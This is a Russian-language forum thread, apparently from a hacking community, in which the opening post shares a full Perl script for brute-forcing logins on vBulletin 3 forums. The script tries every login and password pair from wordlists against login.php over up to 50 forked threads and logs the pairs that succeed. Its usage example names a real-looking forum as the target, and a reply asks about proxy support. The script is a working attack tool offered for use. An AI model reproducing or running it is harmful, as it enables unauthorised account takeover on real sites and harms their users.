брут под vBulletin 3

Тема в разделе "Другие языки", создана пользователем m0s]{, 15 июл 2008.

Статус темы:
Закрыта.
Модераторы: Цукер
  1. m0s]{

    m0s]{ Читатель

    Заблокирован
    Регистр.:
    20 июн 2008
    Сообщения:
    13
    Симпатии:
    1
    брут под vBulletin 3

    Код:
    
    #!/usr/bin/perl
    
    #################################################
    #          vBulletin 3 (rus) brute
    #            -------------
    #
    #   copyright : (C) Cyber Lords, 2002-2007
    #         http://www.cyberlords.net 
    #
    #           Coded by VeX [614883] 
    #################################################
    
    ### modules ###
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Getopt::Std;
    
    ### main ###
    usage() if ($ARGV[0] eq "-h" || $ARGV[0] eq "-help");
    print "\n\n~~~ vBulletin 3 (rus) brute by VeX 1.0.3 ~~~\n\n";
    getopt("lpuht");
    
    $logins  = $opt_l || 'logins.txt';
    $pass    = $opt_p || 'pass.txt';
    $host    = $opt_u;
    $logs    = $opt_h || 'logs.txt';
    $threads = $opt_t || 50;
    
    open(P, $pass) or die "\n[-] Don't open ".$pass." file\n"; 
    while(<P>) { push(@pass, $_); }
    close(P);
    open(L, $logins) or die "\n[-] Don't open ".$logins." file\n"; 
    while(<L>) { push(@logins, $_); }
    close(L);
    
    print "[+] Loading ".scalar(@logins)." logins\n"; logs("[+] Loading ".scalar(@logins)." logins\n");
    print "[+] Loading ".scalar(@pass)." passwords\n"; logs("[+] Loading ".scalar(@pass)." passwords\n\n");
    
      foreach $login (@logins)
      {
         chomp($login);
      foreach $pass (@pass)
      {
         chomp($pass);
      push (@info, "$login---$pass");
      }
       }
    
    #for(@info){ print "$_\n"; }
    
    while(1) {
      for ($i=0;$i<=$threads;$i++) {
         unless($info[$counter]) {
         killpidz();
         exit;
      }
      if ($pid=fork()) {
         push(@forked,$pid);
      } 
      else {
         ($user, $pass) = split /---/, $info[$counter];
      chomp($user); chomp($pass); 
      
         if(brute($user, $pass))
      {
         print "\n\n[+] Find [$user:$pass]";
      logs("\n\n[+] Find [$user:$pass]");
      $counter = scalar(@info)+1;
      exit(1);
      }
         exit;
      }
      $counter++;
      }
    killpidz();
    }
    
    sub brute {
      my($user, $pass) = @_;
      $data = "vb_login_username=$user&cookieuser=1&vb_login_password=$pass&s=&do=login&vb_login_md5password=&vb_login_md5password_utf=";
      
      $cookie_jar = new HTTP::Cookies();
      $opera = new LWP::UserAgent;
      $opera->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
      $opera->timeout(30);
      $h = new HTTP::Headers
    Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
    User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
    Referer => 'http://google.com/';
    
      $request = new HTTP::Request('GET', $host, $h);
      $response = $opera -> request($request);
      $content = $response -> content;
      $cookie_jar->extract_cookies($response);
      
      open(C, ">login_1.html"); print C $content; close(C);
      
      $h = new HTTP::Headers
    Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
    User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
    Referer => $host;
      $request = new HTTP::Request('POST', $host."login.php?do=login", $h); 
      $cookie_jar -> add_cookie_header($request);  
      $request->content_type('application/x-www-form-urlencoded');
      $request->content('type=another');
      $request->content($data);
      $response = $opera -> request($request);
      $content = $response -> content;
      $cookie_jar->extract_cookies($response);
      
      open(C, ">login_2.html"); print C $content; close(C); 
      
      if($content=~m/Спасибо за вход/){ print "[+] $user:$pass ... ok\n"; return 1; }
      else{ print "[-] $user:$pass ... error\n"; return 0; } 
    }
    
    sub logs {
      $text = shift;
      open(L, ">>".$logs); print L $text; close(L);
    }
    
    sub usage {
      print "\nUsage: $0 [options]...\n\n";
      print "Options are:
       -u: Forum url
       -l: Login's file [Default: login.txt]
       -p: Password's file [Default: pass.txt]
       -h: Log's file [Default: logs.txt]
       -t: Threads [Degault: 50]
       -h: This help
    
    Exemple:
       perl brute.pl -u \"http://www.raginfo.ru/forum/\" -l users.txt -p big_pass.txt -h logi.txt -t 25\n";
      exit(1);
    }
    
    sub killpidz {
    foreach (@forked) {
      chomp;
      waitpid($_,0);
      kill("TERM" => $_)
    }
    undef @forked;
    }
    
    exit(1);
    
    
     
    @z@zel нравится это.
  2. 1d37r

    1d37r Читатель

    Заблокирован
    Регистр.:
    16 сен 2007
    Сообщения:
    288
    Симпатии:
    48
    собственно извеняюсь, но мне интересно, сие творение поддерживает прокси?
     
Статус темы:
Закрыта.